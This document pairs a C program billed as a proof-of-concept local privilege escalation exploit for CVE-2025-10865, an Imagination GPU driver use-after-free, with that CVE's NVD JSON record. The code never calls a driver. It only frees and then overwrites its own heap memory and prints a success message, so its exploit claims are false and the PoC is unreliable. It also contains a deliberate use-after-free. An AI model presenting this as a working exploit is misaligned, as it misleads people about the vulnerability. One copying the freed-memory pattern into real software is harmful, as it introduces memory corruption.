CVE-2025-10865

// CVE-2025-10865 PoC - GPU Reference Counting Use-After-Free // Target: Imagination Technologies GPU Driver // Attack Type: Local Privilege Escalation #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Simulated GPU handle typedef struct { uint64_t handle_id; uint32_t ref_count; void* memory_ptr; } gpu_resource_t; gpu_resource_t* create_gpu_resource() { gpu_resource_t* res = (gpu_resource_t*)malloc(sizeof(gpu_resource_t)); if (res) { res->handle_id = 0x1337; res->ref_count = 1; res->memory_ptr = malloc(0x1000); } return res; } // Vulnerability: Improper reference counting void release_resource_vuln(gpu_resource_t* res) { if (res && --res->ref_count == 0) { // Use-After-Free: Memory freed but pointer not nullified free(res->memory_ptr); free(res); } } void trigger_uaf() { gpu_resource_t* res = create_gpu_resource(); if (!res) return; // Multiple references to same resource gpu_resource_t* ref1 = res; gpu_resource_t* ref2 = res; // First release release_resource_vuln(ref1); // Use after free - accessing freed memory printf("[+] Triggering Use-After-Free...\n"); printf("[+] Accessing freed memory at: %p\n", ref2->memory_ptr); // Overwrite freed memory memset(ref2->memory_ptr, 0x41, 0x100); printf("[+] Use-After-Free successful - memory corrupted\n"); } int main() { printf("CVE-2025-10865 PoC - GPU Driver UAF\n"); printf("Requires local access with low privileges\n"); trigger_uaf(); return 0; }

{"cve": {"id": "CVE-2025-10865", "sourceIdentifier": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "published": "2026-01-13T18:16:04.433", "lastModified": "2026-01-30T18:39:09.417", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Software installed and run as a non-privileged user may conduct improper GPU system calls to cause mismanagement of reference counting to cause a potential use after free.\n\nImproper reference counting on an internal resource caused scenario where potential for use after free was present."}, {"lang": "es", "value": "El software instalado y ejecutado como un usuario no privilegiado puede realizar llamadas al sistema de GPU incorrectas para causar una gestión incorrecta del conteo de referencias y provocar un potencial uso después de la liberación.\n\nEl conteo de referencias incorrecto en un recurso interno causó un escenario donde estaba presente el potencial de uso después de la liberación."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.3", "matchCriteriaId": "99A33CBA-49C5-4976-B668-88F87F0FF575"}]}]}], "references": [{"url": "https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "tags": ["Vendor Advisory"]}]}}